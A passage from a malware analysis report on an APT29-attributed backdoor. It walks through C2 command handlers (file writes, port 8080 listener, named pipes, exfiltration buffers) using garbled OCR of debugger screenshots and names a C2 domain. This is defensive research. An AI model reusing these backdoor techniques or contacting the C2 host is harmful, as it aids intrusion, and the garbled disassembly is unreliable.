|  | <ul> <li>0042CF35</li> <li>0042CF37</li> <li>0042CF39</li> <li>0042CF38</li> <li>0042CF38</li> <li>0042CF37</li> <li>0042CF37</li> </ul> | 6A 00<br>6A 00<br>6A 00<br>6A 08<br>6A 00<br>50 | push 0<br>push 0<br>push 0<br>push 8<br>push 0<br>push eax | estelijeHanningAs     |                            | x87StatusWord 0000<br>x87SW_B 0 x87SW_C3<br>x87SW_C1 0 x87SW_C0<br>x87SW_SF 0 x87SW_C<br>x87SW_SF 0 x87SW_F | 0 x875W_C2 0<br>0 x875W_E5 0<br>0 x875W_U 0 |
|--|--|---|--|-----------------------|----------------------------|---|---|
| EAF  | •  |   | Carr Captester   | eacer fremappingsz    | >                          | Default (stdcall)<br>1: [esp] 000002C8  | ▼ 5 € Unlock                                |
| <apt29.creat.text:00420< th=""><th>F40 apt29.exe:\$2</th><th>2CF40 #2C340</th><th></th><th></th><th></th><th>2: [esp+4] 00000000<br/>3: [esp+8] 00000008<br/>4: [esp+C] 00000000</th><th></th></apt29.creat.text:00420<> | F40 apt29.exe:\$2  | 2CF40 #2C340                                    |  |                       |                            | 2: [esp+4] 00000000<br>3: [esp+8] 00000008<br>4: [esp+C] 00000000   |   |
| Ump 1  | U Dump 2   | Dump 3 📲 Dump 4                                 | 🗱 Dump 5 🛛 🛞 Watch 1                                       | x=l Locals 🛛 🖉 Struct | 049C9508 00<br>049C950C 00 | 00002C8   |   |
| Address   He   | x  |   | ASCII  |                       | A 04909510 00              | 000008  |   |
| 049CDE2B 00<br>049CDE3B 00   | 00 00 00 00 00 00<br>00 00 00 00 00  | 00 00 00 00 00 00 00 00 00 00 00 00 00          | 00 00 00 00  |                       | 049C9518 00<br>049C951C 00 | 0000000   |   |

# Figure 56

The malicious binary maps the newly created file mapping into the address space of the calling process, as shown in the next pictures (0x1 = **FILE\_MAP\_COPY**):

| ETP  | <ul> <li>0042CF6F</li> <li>0042CF70</li> <li>0042CF72</li> <li>0042CF74</li> <li>0042CF76</li> <li>0042CF76</li> <li>0042CF76</li> </ul> | 52<br>6A 00<br>6A 00<br>6A 01<br>50<br>F8 28 62 FD |                | push edx<br>push 0<br>push 0<br>push 1<br>push eax<br>call capt29 Ma | nViewΩfFi  | 10       |    |                            | x8<br>x8<br>x8 | 75W_B 0<br>75W_C1 0<br>75W_SF 0 | x875W_C3<br>x875W_C0<br>x875W_P  | 0 x87SW_C<br>0 x87SW_E<br>0 x87SW_U | 2 0<br>5 0<br>0 |          |
|--|--|--|----------------|--|------------|----------|----|----------------------------|----------------|---------------------------------|----------------------------------|-------------------------------------|-----------------|----------|
|  | • <  |  |                |  |            |          |    | >                          | Defa           | ault (stdcall)                  |                                  |                                     | • 5             | C Unlock |
| <apt29.map< th=""><th>/iewOfFile&gt;</th><th>\$2CF77 #2C377</th><th></th><th></th><th></th><th></th><th></th><th></th><th>2:<br/>3:<br/>4:</th><th>[esp+4]<br/>[esp+8]<br/>[esp+C]</th><th>00000001<br/>00000000<br/>00000000</th><th></th><th></th><th></th></apt29.map<> | /iewOfFile>  | \$2CF77 #2C377                                     |                |  |            |          |    |                            | 2:<br>3:<br>4: | [esp+4]<br>[esp+8]<br>[esp+C]   | 00000001<br>00000000<br>00000000 |                                     |                 |          |
| Dump 1   | Dump 2   | Dump 3 🛛 Dump                                      | 4 010 Dump 5   | 💮 Watch 1  | x=l Locals | 2 Struct |    | 049C950C 00                | 000020         | 1                               |                                  |                                     |                 |          |
| Address   He   | ex   |  |                | ASCII  |            |          | ^  | 049C9510 00<br>049C9514 00 |                | 0                               |                                  |                                     |                 |          |
| 049CDE2B 00  | 0 00 00 00 00 00   | 00 00 00 00 00 00                                  | 00 00 00 00 00 |  |            |          |    | 049C9518 0                 | 000000         | 4                               |                                  |                                     |                 |          |
| Figure   | 57   |  |                |  |            |          |    |                            |                |                                 |                                  |                                     |                 |          |
| Addres   | S Hex  |  |                |  |            |          | AS | SCII                       |                |                                 |                                  |                                     |                 |          |

Address Hex ASCII Figure 58

The MD5 hashing algorithm is implemented by the malware (note the variables from below), which is used to perform hashing of the file content extracted above:

| 🗾 🛃 🖼   |                 |  |  |  |  |  |
|---|-----------------|--|--|--|--|--|
| .text:0040A060                                    |                 |  |  |  |  |  |
| .text:0040A060                                    |                 |  |  |  |  |  |
| .text:0040A060 ; Attributes: bp-based frame       |                 |  |  |  |  |  |
| .text:0040A060                                    |                 |  |  |  |  |  |
| .text:0040A060 sub_40A060 proc near               |                 |  |  |  |  |  |
| .text:0040A060                                    |                 |  |  |  |  |  |
| .text:0040A060 arg_0= dword ptr 8                 |                 |  |  |  |  |  |
| .text:0040A060                                    |                 |  |  |  |  |  |
| .text:0040A060 push ebp                           |                 |  |  |  |  |  |
| .text:0040A061 mov ebp, esp                       |                 |  |  |  |  |  |
| .text:0040A063 mov eax, [ebp+arg_0]               |                 |  |  |  |  |  |
| .text:0040A066 mov dword ptr [eax+14h], 0         |                 |  |  |  |  |  |
| .text:0040A06D mov eax, [ebp+arg_0]               | Figure 59       |  |  |  |  |  |
| .text:0040A070 mov edx, [eax+14h]                 |                 |  |  |  |  |  |
| .text:0040A073 mov eax, [ebp+arg_0]               |                 |  |  |  |  |  |
| .text:0040A076 mov [eax+10h], edx                 |                 |  |  |  |  |  |
| .text:0040A079 mov eax, [ebp+arg_0]               |                 |  |  |  |  |  |
| .text:0040A07C mov dword ptr [eax], 67452301h     |                 |  |  |  |  |  |
| .text:0040A082 mov eax, [ebp+arg_0]               |                 |  |  |  |  |  |
| .text:0040A085 mov dword ptr [eax+4], 0EFCDAB89h  |                 |  |  |  |  |  |
| .text:0040A08C mov eax, [ebp+arg_0]               |                 |  |  |  |  |  |
| .text:0040A08F mov dword ptr [eax+8], 98BADCFEh   |                 |  |  |  |  |  |
| .text:0040A096 mov eax, [ebp+arg_0]               |                 |  |  |  |  |  |
| .text:0040A099 mov dword ptr [eax+0Ch], 10325476h |                 |  |  |  |  |  |
| .text:0040A0A0 pop ebp                            |                 |  |  |  |  |  |
| .text:0040A0A1 retn                               |                 |  |  |  |  |  |
| .text:0040A0A1 sub_40A060 endp                    |                 |  |  |  |  |  |
| Address Hex                                       | ASCII Figure 60 |  |  |  |  |  |

The resulting buffer that will be exfiltrated is similar to the one from figure 21, however, it also contains the MD5 hash value and the file name. The encryption algorithm is the same presented in figure 22 (this is valid for all cases, and we will not repeat it every time):

| ETP             | 0041FFFD     | SA I     | 00      |                | mov al.byte ptr ds:[eax]  |          |
|-----------------|--------------|----------|---------|----------------|---|----------|
|                 | 0041FFFF     | 25       | FF 00 0 | 00 00          | and eax, FF   |          |
| •               | 00420004     | 8B :     | 95 04 F | F FF FF        | mov edx, dword ptr ss:[ebp-FC]  | [ebp-F   |
| •               | 0042000A     | 83       | EC OC   |                | sub esp,C   | 1.50     |
| •               | 0042000D     | 50       |         |                | push eax  |          |
| •               | 0042000E     | 89 [     | 01      |                | mov ecx, edx  | ecx:"\   |
| •               | 00420010     | E8       | EB 01 0 | 00 00          | call apt29.420200   |          |
|                 | 00420015     | 83 0     | C4 OC   |                | add esp,C   |          |
|                 | 00420018     | 88       | 03      |                | mov byte ptr ds:[ebx],al  |          |
|                 | 0042001A     | FF ·     | 45 F4   |                | inc dword ptr ss: ebp-C   |          |
|                 | 0042001D     | 88 .     | 45 14   |                | mov eax, dword ptr ss: epp-c  |          |
|                 | 00420020     | 38 -     | 45 UC   |                | th pot20 41555  |          |
|                 | 00420025     | 00       |         |                | mov eav dword ntr ss Tehn-Cl  |          |
|                 | 00420028     | SB SB    | SD FC   |                | mov eby dword ptr ss. ebp-c   |          |
|                 | 0042002B     | C9       | in it   |                | leave   |          |
|                 | 00420020     | C2 1     | 00 80   |                | ret 8   |          |
|                 | 0042002F     | 90       |         |                | nop   |          |
| •               | 00420030     | Y FF     | 25 74 5 | 3 44 00        | <pre>imp dword ptr ds:[&lt;&amp;SetUnhandledExceptionFilter&gt;]</pre>  | SetUnk   |
| •               | 00420036     | 90       |         |                | nop   |          |
| •               | 00420037     | 90       |         |                | nop   |          |
| •               | 00420038     | Y FF     | 25 7C 5 | 2 44 00        | <pre>jmp dword ptr ds:[&lt;&amp;InitializeSecurityDescriptor&gt;]</pre> | Initia   |
| •               | 0042003E     | 90       |         |                | nop   |          |
| •               | 201200251    |          |         |                |   |          |
|                 |              |          |         |                |   |          |
| al=1C           |              |          |         |                |   |          |
| byte ptr [eax]= | [0288031C]=  | C ./t.   |         |                |   |          |
| text:0041EEED   | ant 20 evert |          | 15250   |                |   |          |
| .LEXU. 0041FFFD | apt25.exe.ş  | STELED # | TLAL    |                |   |          |
| Dump 1          | Dump 2       | Dump 3   | U.D     | ump 4 📃 Dum    | p 5 🛞 Watch 1 [x=] Locals 🎾 Struct 04                                   | 909658 0 |
| Address Hex     |              |          |         |                | ASCTT A 04  | 9C9660 C |
| 02880310 00 37  | 38 OD AF 40  | 1 41 AE  | 00.00   | 00 00 01 00 0  | 04  | 9C9664 C |
| 02880320 00 00  | 00 00 4E 00  | 00 00    | 89 00   | 03 38 D9 48 1  | 04  | 9C9668 C |
| 0288033C D7 E4  | F0 D6 44 C3  | 3 C9 5E  | 35 BF   | 04 00 00 00 4  | 3 3A xadoopAé^5,C:  | 909660 4 |
| 0288034C 5C 55  | 73 65 72 73  | 3 5C     |         | 5C 44 65 73 6  | 3 74 \Users' \Deskt   | 909670 0 |
| 0288035C 6F 70  | 5C 74 65 73  | 3 74 2E  | 74 78   | 74 00 00 00 00 | 0 00 op\test.txt  | 9096/4 0 |
| <b>E</b> 04     |              |          |         |                |   |          |

Figure 61

**Byte = 0x12** – create and populate a new file

The backdoor creates a new file specified by the C2 server in the network traffic (0x40000000 = **GENERIC\_WRITE**, 0x1 = **FILE\_SHARE\_READ**, 0x1 = **CREATE\_NEW**, 0x80 = **FILE\_ATTRIBUTE\_NORMAL**):



# Figure 62

The newly created file is populated with content provided by the C2 server as well:

| 00407A55 6A 00     00407A57 80 45 DC     00407A57 50     00407A58 50     00407A58 FF 75 E8     00407A58 FF 75 E4     00407A56 FF 75 E4  |                    |              |             | push o<br>lea eax,dwor<br>push eax<br>push dword p<br>push dword p<br>push dword p | d ptr ss:<br>ptr ss:<br>ptr ss:<br>ptr ss:<br>ebp<br>ptr ss:<br>ebp | 26p-24<br>-18<br>-10<br>-20 |        | [ebp-1 | x875tatusword 0000<br>x875w_B 0 x875w_C3 0 x875w_C2 0<br>x875w_C1 0 x875w_C0 0 x875w_E5 0<br>x875w_SF 0 x875w_P 0 x875w_U 0 |   |  |
|---|--------------------|--------------|-------------|--|---|-----------------------------|--------|--------|---|---|--|
| <apt29.wr11 .text:00403<="" th=""><th>teFile&gt;</th><th>xe:\$7A64 #6</th><th>E64</th><th></th><th>Call Kapt29.</th><th>WriteFiles</th><th></th><th></th><th>&gt;</th><th>✓ Default (stdcall) 		 5 		 □ Unloc<br/>1: [esp] 000002C8<br/>2: [esp+4] 02849361 "TEST"<br/>3: [esp+6] 0000007<br/>4: [esp+C] 049C95FC</th></apt29.wr11> | teFile>            | xe:\$7A64 #6 | E64         |  | Call Kapt29.  | WriteFiles                  |        |        | >   | ✓ Default (stdcall) 		 5 		 □ Unloc<br>1: [esp] 000002C8<br>2: [esp+4] 02849361 "TEST"<br>3: [esp+6] 0000007<br>4: [esp+C] 049C95FC |  |
| Dump 1  | Dump 2             | 💭 Dump 3     | Ump 4       | Dump 5   | Watch 1   | [x=] Locals                 | Struct | 049    | C95C8 000<br>C95CC 028  | 00002C8<br>28A9361 "TEST"<br>0000007  |  |
| 028A9361 5  | 4 45 53 54 0<br>G2 | 0 00 00 00   | AB AB AB AB | AB AB AB AB  | TEST«««   |                             |        | 049    | 049<br>00 95 D 8 000  | 49C95FC<br>0000000  |  |

#### Figure 63

The final buffer that will be exfiltrated contains the file name:

| Address  | He | x  |    |    |    |    |    |    |    |    |    |    |    |    |    | _  | ASCII   | ]          |
|----------|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|---------|------------|
| 0288031C | 7F | 8F | 8F | 7F | AE | 40 | 41 | AF | 00 | 00 | 00 | 00 | 01 | 00 | 00 | 00 | ®@A     | Figure 6/  |
| 0288032C | 00 | 00 | 00 | 00 | 29 | 00 | 00 | 00 | 8D | 00 | 37 | 20 | 74 | 65 | 73 | 74 | )7 test | i igule 04 |
| 0288033C | 2E | 74 | 78 | 74 | 0A | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | .txt    |            |
|          |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |         |            |

Byte = 0x13 (same execution flow as 0x11)

Byte = 0x14 – write specific bytes into memory depending on the C2 server response

Depending on 2 bytes received from the C2 server, the binary writes 0x100, 0x200, 0x400, 0x800, 0x1000 or 0x2000 into memory. The first 3 cases are highlighted in figure 65:

| r                                    | <u></u>  | .text:0041CC38 mov<br>.text:0041CC3F jmp eax  |
|--------------------------------------|--|---|
|                                      |  |   |
| <pre>text:0041CC41 icc_41CC41:</pre> | .text:0041CC50<br>.text:0041CC50 loc_41CC50:<br>.text:0041CC50 mov eax, [ebp+var_14]<br>.text:0041CC50 mov dword ptr [eax1FACh], 200h<br>.text:0041CC50 jmp short loc_41CCA0 | <pre>.text:004ICC5F<br/>.text:004ICC5F loc_4ICC5F: ; jumptable 004ICC3F case 2<br/>.text:004ICC5F mov eax.[lebp+var_14]<br/>.text:004ICC5F mov dhord ptr [eax+1FACh], 400h<br/>.text:004ICC6C jmp short loc_4ICCC49</pre> |

#### Figure 65

The buffer that will be exfiltrated contains a 4-byte value computed from a GetTickCount function call, the "AppID" value and a marker value (0x81 in this case):

| Address  | Hex   | ASCII               |                     |
|----------|---|---------------------|---------------------|
| 0288031C | F4 D4 D4 F4 AE 40 41 AF 00 00 00 00 01 00 00 00 | 00000@A             | Figure 66           |
| 0288032C | 00 00 00 00 1E 00 00 00 81 00 00 00 00 00 00 00 |                     | -                   |
| Byte = 0 | 15 – listen on port 8080 and record all connect | ions that are estab | lished on this port |

A new thread is created using the CreateThread routine:

| 00415EC8         C7         44         24         14         00         14         04         14         04         14         14         14         14         14         14         14         14         14         14         14         14         14         14         14         14         < | Nov dword ptr ss: [esp+14],0<br>Nov dword ptr ss: [esp+10],0<br>Nov dax,dword ptr ss: [esp+6]<br>Nov dword ptr ss: [esp+6],eax<br>Nov dword ptr ss: [esp+4],0<br>Nov dword ptr ss: [esp+4],0<br>Nov dword ptr ss: [esp+4],0  | x87TW_6 3 (Empty) x87TW_7 3 (Empty)<br>x87StatusWord 0000<br>x87SW_8 0 x87SW_C3 0 x87SW_C2 0<br>x87SW_C10 x87SW_C0 0 x87SW_E5 0<br>x87SW_SF 0 x87SW_P 0 x87SW_E 0 |
|--|--|---|
| <pre>&gt;</pre>  | all kapt29.CreateInread>   | Default (stdcall) ▼ 5 \$ Unlock<br>1: [esp1 00000000<br>2: [esp+4] 0000000<br>3: [esp+4] 00420040 apt29.00420040<br>4: [esp+C]_0430F457                           |
| U Dump 1 U Dump 2 U Dump 3 U Dump 4 U Dump 5   | Watch 1         Ix=l Locals         2         Struct         049C93DB         0000           049C93DC         0000 <th>00000</th> | 00000   |
| Address Hex<br>0490F457 00 00 00 00 00 00 00 00 00 00 00 00 00   | ASCII 049C93E0 004<br>049C93E4 0490<br>049C93E6 0000<br>049C93E6 0000  | 20040 apt29.00420040<br>DF457<br>00000<br>00000   |

The process creates a new socket using the socket API. The inet\_addr function is utilized to convert a string containing an IP dotted-decimal address into a proper address for the IN\_ADDR structure, as shown below:



#### Figure 68

There is a mistake done by the malware developers because they've called the inet\_addr routine with the C2 server as the parameter (and not an IP as above). This function call returns **INADDR\_NONE** (0xFFFFFFF):

| • 004096AA 89 04 24   | mov dword ptr ss:[esp],eax                         | [esp]:      |   |
|---|--|-------------|---|
|   | carr capt29, inet_addr>                            | >           | Default (stdcall)   |
| <apt29.inet_addr> .text:004096AD apt29.exe:\$96AD #8AAD</apt29.inet_addr> |  |             | 2: [esp+4] 00000001<br>3: [esp+8] 0000000<br>4: [esp+C] 0000000 |
|   | a a <u>199</u> m m m m m m m m m m m m m m m m m m | 0621FF28 04 | 9DF4C9   "salesappliances.com:80"                               |

# Figure 69

The binary associates the local address with the socket created before using the bind API:

| 004096C7     C7 44 24 08 10 00 00 00     004096CF     89 54 24 04     004096CF     89 04 24 | mov dword ptr ss: esp+8,10<br>mov dword ptr ss: esp+4, edx<br>mov dword ptr ss: esp, eax | x875W_C1 0 x875W_C0 0 x875W_ES 0<br>x875W_SF 0 x875W_P 0 x875W_U 0   |
|---|--|--|
| <pre></pre>   | call capt29.bind>  | V         Default (stdcall)         ▼         5         □         Unlock           1:         [esp]         00000394         2:         [esp+4]         0490F467         3:         [esp+4]         00000010         4:         [esp+6]         00000000         4:         [esp+6]         000000000         4:         [es |
| Ump 1 Ump 2 Ump 3 Ump 4 Ump 4   | o 5 🛞 Watch 1  x= Locals 🚀 Struct 0621FF   | 28 0000394<br>2C 049DF467  |
| Address Hex<br>0490F467 02 00 1F 90 C0 A8 A4 80 00 00 00 00 00 00                           | ASCII 6021FF 0621FF 0621FF   | 30 00000010<br>34 00000000<br>00000000   |

#### Figure 70

The listen function is used to place the socket in a listening state for incoming connections:

| EIP   | Odd09665 29 44 24 04 05 00 00 00 mov dword ptr ssitespl,s     Odd09675 89 04 24 mov dword ptr ssitespl,sax     Odd095758 E8 75 CC 00 00 call <a href="call-sapt29.listen">call <a href="call-sapt29.listen">c</a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a></a> |               |                         |             |              | Default (stdcall)   | ▼ 5 € Unloc |
|---|---|---------------|-------------------------|-------------|--------------|---|-------------|
| <apt29.list< th=""><th colspan="5"><pre></pre></th><th>1: [esp] 00000394<br/>2: [esp+4] 0000005<br/>3: [esp+8] 0000010<br/>4: [esp+C] 0000000</th><th></th></apt29.list<> | <pre></pre>   |               |                         |             |              | 1: [esp] 00000394<br>2: [esp+4] 0000005<br>3: [esp+8] 0000010<br>4: [esp+C] 0000000 |             |
| Dump 1  | Mill Dumo 2   | Dump 3 Dump 4 | mp 5 💮 Watch 1 [X=] Loc | cals Struct | 0621FF28 000 | 000394  |             |

#### Figure 71

The malware was supposed to connect to the C2 server using the connect API, however, due to the implementation mistake, this function call fails:

| <ul> <li>0040973E</li> <li>00409746</li> <li>00409746</li> <li>89 54</li> <li>0040974A</li> <li>89 04</li> </ul> |                      | x875W_C1 0 x875W_C0 0 x875W_ES 0<br>x875W_SF 0 x875W_P 0 x875W_U 0 |          |                                |                   |
|--|----------------------|--|----------|--------------------------------|-------------------|
| <pre>doi:10.0009740 est FE </pre>  | A7 01 00             | all <apt29.connect></apt29.connect>                                |          | >                              | Default (stdcall) |
| Ump 1 Ump 2 Ump 3  | Dump 4 Dump 5        | 🛞 Watch 1 🛛 🛛 🖉 🖉  | 2 Struct | 0621FF28 0000<br>0621FF2C 0490 | 003A8<br>0F477    |
| Address Hex<br>049DF477 02 00 00 50 FF FF FF FF 00   | 00 00 00 00 00 00 00 | ASCII  | ^        | 0621FF30 0000<br>0621FF34 0000 | 00010<br>00000    |

For the sake of the analysis, we've emulated an external connection from a remote IP to the local host on port 8080. The getpeername API is utilized to extract the address of the peer to which the socket is connected:

| 00406958     89 44 24 08     0040695F     80 45 A4     0040695F     80 45 A4     00406966     88 45 08     00406966     85 04 24 | mov dword ptr ss: [esp-8], eax<br>lea eax, dword ptr ss: [ebp-Sc]<br>mov dword ptr ss: [esp-4], eax<br>mov eax, dword ptr ss: [ebp+6]<br>mov dword ptr ss: [esp], eax | x875tatusword 0000<br>x875w_8 0 x875w_C3 0 x875w_C2 0<br>x875w_C10 x875w_C0 0 x875w_E5 0<br>x875w_5F 0 x875w_P 0 x875w_U 0 |
|--|---|--|
| EIP →• 0040696C E8 23 60 01  | 00 call <apt29.getpeername></apt29.getpeername>   | > Default (stdcall)  |
| <apt29.getpeername><br/>.text:0040696C apt29.exe:\$696C #5D6C</apt29.getpeername>  |   | 1: [esp1 0000394<br>2: [esp+4] 049(9314<br>3: [esp+8] 049(9310<br>4: [esp+6]_85F6015                                       |
| Ump 1 Ump 2 Ump 3 Um Dump 3  | np 4 🛛 🕮 Dump 5 👹 Watch 1 🛛 🖉 Struct 🖉 Struct   | 049C92E8 00000394<br>049C92EC 049C9314   |
| Address Hey  | ASCTT   | 049C92F0 049C9310  |

#### Figure 73

The inet\_ntoa routine is the opposite of inet\_addr and it's used to convert an IP from a hex form into an ASCII string (dotted-decimal format):

| 0040697C 89 04 24   | mov dword ptr ss:[esp],eax  |              |   |
|---|---|--------------|---|
|   | call <apt29.inet_ntoas< th=""><th>&gt;</th><th>Default (stdcall)</th></apt29.inet_ntoas<> | >            | Default (stdcall)   |
| <apt29.inet_ntoa><br/>.text:0040697F apt29.exe:\$697F #5D7F</apt29.inet_ntoa> |   |              | 1: [csp+4] 049C9314<br>3: [csp+8] 049C9310<br>4: [csp+6] E85F6015 |
|   | - <u>66</u>   | 049C92E8 25C | F8532   |

# Figure 74

getsockname is utilized to retrieve the local name for the socket:

|  | 00406988 89 4     0040698F 80 4     0040698F 80 4     004069C2 89 4     004069C6 88 4     004069C9 89 0 | 4 24 08<br>5 A4<br>4 24 04<br>5 08<br>4 24 | <pre>mov dword ptr ss:[esp+4],eax lea eax,dword ptr ss:[esp+4],eax mov dword ptr ss:[esp+4],eax mov dax,dword ptr ss:[esp+4]</pre> |                                | x8/5x4_LB 0 0000         x875w_C2 0 x875w_C2 0           x875w_C1 0 x875w_C0 0 x875w_E5 0         x875w_C5 0 x875w_U 0           x875w_S5 0 x875w_P 0 x875w_U 0         x875w_L 0 |
|--|---|--|--|--------------------------------|---|
| =1; · · · ·  | CO4055CC ES E<br><  | F 68 00 00                                 | call <apt29.getsockname></apt29.getsockname>   | >                              | Default (stdcall)   |
| <apt29.getsock< th=""><th>name&gt;</th><th>occ</th><th></th><th></th><th>1: [esp] 00000394<br/>2: [esp+4] 049C9314<br/>3: [esp+8] 049C9310<br/>4: [esp+C] E85F6015</th></apt29.getsock<> | name>   | occ  |  |                                | 1: [esp] 00000394<br>2: [esp+4] 049C9314<br>3: [esp+8] 049C9310<br>4: [esp+C] E85F6015  |
| Ump 1  | Dump 2 Dump 3   | Dump 4                                     | 5 🥮 Watch 1 🖾 Locals 🖉 Struct  | 049C92E8 0000<br>049C92EC 0490 | 00394   |

# Figure 75

inet\_ntoa is used again to convert the IP address from hex to dotted-decimal format, as highlighted in figure 76:

| 004069DC 89 04 24   | mov dword ptr ss: esp, eax  |              |  |        |
|---|---|--------------|--|--------|
|   | Call <apt29. inet_ntoas<="" th=""><th>&gt;</th><th>Default (stdcall)</th><th>Unlock</th></apt29.> | >            | Default (stdcall)  | Unlock |
| <apt29.inet_ntoa><br/>.text:004069DF apt29.exe:\$69DF #5DDF</apt29.inet_ntoa> |   |              | 1: [csp] = 049C9314<br>3: [csp+8] 049C9310<br>4: [csp+C] _E85F6015 |        |
|   |   | 049C92E8 80A | 4A8C0  |        |

#### Figure 76

The final buffer that will be exfiltrated contains some details about the network connection (source and destination IPs/ports) and the string "listen":

| Address  | Hex |    |    |    |    |    |    |    | -  |    |    |    | 3.47 |    |    |    | ASCII                     |
|----------|-----|----|----|----|----|----|----|----|----|----|----|----|------|----|----|----|---------------------------|
| 0288031C | 65  | 7C | 7C | 65 | AE | 40 | 41 | AF | 00 | 00 | 00 | 00 | 01   | 00 | 00 | 00 | e   e®@A                  |
| 0288032C | 00  | 00 | 00 | 00 | 50 | 00 | 00 | 00 | 81 | 00 | 6C | 69 | 73   | 74 | 65 | 6E | Plisten Figure 77         |
| 0288033C | 20  | 31 | 39 | 32 | 2E | 31 | 36 | 38 | 2E | 31 | 36 | 34 | 2E   | 31 | 32 | 38 | 192.168.164.128 Inguie 17 |
| 0288034C | 3A  | 38 | 30 | 38 | 30 | 20 | 2D | 20 | 35 | 30 | 2E | 31 | 33   | 33 | 2E | 32 | :8080 - 50.133.2          |
| 0288035C | 30  | 37 | 2E | 33 | 37 | 3A | 33 | 36 | 31 | 31 | 32 | 0A | 00   | 00 | 00 | 00 | 07.37:36112               |

It's important to mention that because of the bug, only this behavior is expected, however, there are other execution flows as well. For example, if no connection is established, the malware only copies the string "idle" in the buffer. If the connection to the C2 server is successful, then the string "connect" would have been copied into the final buffer. Finally, if the connection is successful and the process accepts another connection on port 8080, the string "accept" is copied into the buffer as well.

# Byte = 0x16 – create a named pipe and wait for connections

The file creates a new named pipe using the CreateNamedPipeA routine (0x40040003 = FILE\_FLAG\_OVERLAPPED | WRITE\_DAC | PIPE\_ACCESS\_DUPLEX, 0x6 = PIPE\_TYPE\_MESSAGE | PIPE\_READMODE\_MESSAGE):

| ETP  | <ul> <li>00417D0C</li> <li>00417D0F</li> <li>00417D0F</li> <li>00417D14</li> <li>00417D18</li> <li>00417D18</li> <li>00417D18</li> <li>00417D10</li> <li>00417D12</li> <li>00417D223</li> </ul> | 52<br>6A 64<br>68 00 04 00 00<br>6A 01<br>6A 06<br>68 03 00 04 40<br>50<br>50<br>50 58 FF FF | push edx<br>push 64<br>push 400<br>push 400<br>push 1<br>push 6<br>push 40040003<br>push eax | reateNamedPipeAs    | eax:"\      | x8/TW_=4 5 (Empty)         x8/TW_=5 (Empty)           x87TW_63 (Empty)         x87TW_73 (Empty)           x87StatusWord 0000         x87SW_C2 0           x87SW_80 0 x87SW_C3 0 x87SW_C2 0         x87SW_C2 0           x87SW_50 0 x87SW_C0 0 x87SW_C5 0         x87SW_C5 0           x87SW_50 0 x87SW_0         x87SW_C1 0 |
|--|---|--|--|---------------------|-------------|---|
|  | • <   | 55 F5  | 1  |                     | >           | Default (stdcall)   |
| <apt29.creat.text:00417< th=""><th>IteNamedPipeA&gt;<br/>/D23 apt29.exe:\$1</th><th>17D23 #17123</th><th></th><th></th><th></th><th>2: [esp+4] 40040003<br/>3: [esp+8] 0000006<br/>4: [esp+C] 0000001</th></apt29.creat.text:00417<> | IteNamedPipeA><br>/D23 apt29.exe:\$1  | 17D23 #17123   |  |                     |             | 2: [esp+4] 40040003<br>3: [esp+8] 0000006<br>4: [esp+C] 0000001   |
| siii Dunu t  | Dump 2  | Dump 3 Ump 4   | Dump 5 👹 Watch 1   | x=  Locals 🎾 Struct | 04909718 04 | 9C99EF "\\\\pipe\\PIPE"   |
| e e Dump 1   |   |  |  |                     | 04000110 40 | 040003  |

# Figure 78

A new unnamed event object is created by the backdoor:

|   | <ul> <li>00417D50</li> <li>00417D50</li> <li>00417D50</li> <li>00417D60</li> <li>00417D60</li> </ul> | 6A 0<br>6A 0<br>6A 0<br>6A 0 | 10<br>10<br>11 |             | push 0<br>push 0<br>push 1<br>push 0   |             |        |                      |      | x875W<br>x875W<br>x875W              | V_B 0 x875W_C<br>V_C1 0 x875W_C<br>V_SF 0 x875W_F                  | 3 0 x875W_0<br>0 0 x875W_1<br>0 x875W_1 | 2 0<br>5 0<br>J 0 |            |
|---|--|------------------------------|----------------|-------------|--|-------------|--------|----------------------|------|--------------------------------------|--|---|-------------------|------------|
| EIP   | →• 00417D69  | E8 C                         | 2 88 01 00     |             | call <apt29.< th=""><th>CreateEvent</th><th>(A&gt;)</th><th></th><th>&gt;</th><th>Default</th><th>(stdcall)</th><th></th><th>• 5</th><th>😫 🗌 Unlock</th></apt29.<> | CreateEvent | (A>)   |                      | >    | Default                              | (stdcall)  |   | • 5               | 😫 🗌 Unlock |
| <apt29.creation .text:0041<="" th=""><th>ateEventA&gt;<br/>7D65 apt29.exe</th><th>:\$17D65 #</th><th>17165</th><th></th><th></th><th></th><th></th><th></th><th></th><th>1: [e:<br/>2: [e:<br/>3: [e:<br/>4: [e:</th><th>spj 00000000<br/>sp+4] 00000001<br/>sp+8] 00000000<br/>sp+C]_00000000</th><th></th><th></th><th></th></apt29.creation> | ateEventA><br>7D65 apt29.exe   | :\$17D65 #                   | 17165          |             |  |             |        |                      |      | 1: [e:<br>2: [e:<br>3: [e:<br>4: [e: | spj 00000000<br>sp+4] 00000001<br>sp+8] 00000000<br>sp+C]_00000000 |   |                   |            |
| Dump 1  | Dump 2   | Dump 3                       | 📖 Dump 4       | Dump 5      | 🛞 Watch 1  | [x=] Locals | Struct | 049C9728<br>049C972C | 0000 | 0000                                 |  |   |                   |            |
| Address H   | ex   | 00.00.001                    | 00 00 00 00    | 00.00.00.00 | ASCII  |             |        | 049C9730<br>049C9734 | 0000 | 0000                                 |  |   |                   |            |

# Figure 79

The binary enables the pipe to wait for connections from client processes, as displayed below:

|   | <ul> <li>00417D87</li> <li>00417D88</li> </ul> | 52<br>50          | push edx<br>push eax  |                              | x875W_SF 0 x875W_P 0  | x875W_U 0     |
|---|--|-------------------|---|------------------------------|---|---------------|
| EIP                                     | 00417D89<br><                                  | E8 EE 48 00 00    | <pre>(call <apt29.connectnamedpipe>)</apt29.connectnamedpipe></pre> | >                            | Default (stdcall)<br>1: [esp] 000002C8                            | ▼ 5 🗘 🗌 Unlod |
| <apt29.con<br>.text:0041</apt29.con<br> | nectNamedPipe><br>7D89 apt29.exe:\$            | 17D89 #17189      |   |                              | 2: [esp+4] 049C9AEF<br>3: [esp+8] 00000000<br>4: [esp+C] 00000000 |               |
| Dump 1                                  | Dump 2   | Dump 3 💷 Dump 4 📖 | Dump 5 😸 Watch 1 🛛 🕸 🖉 Struct                                       | 049C9728 000<br>049C972C 049 | 002C8<br>C9AEF  |               |
|   | ~ ~  |                   |   |                              |   |               |

# Figure 80

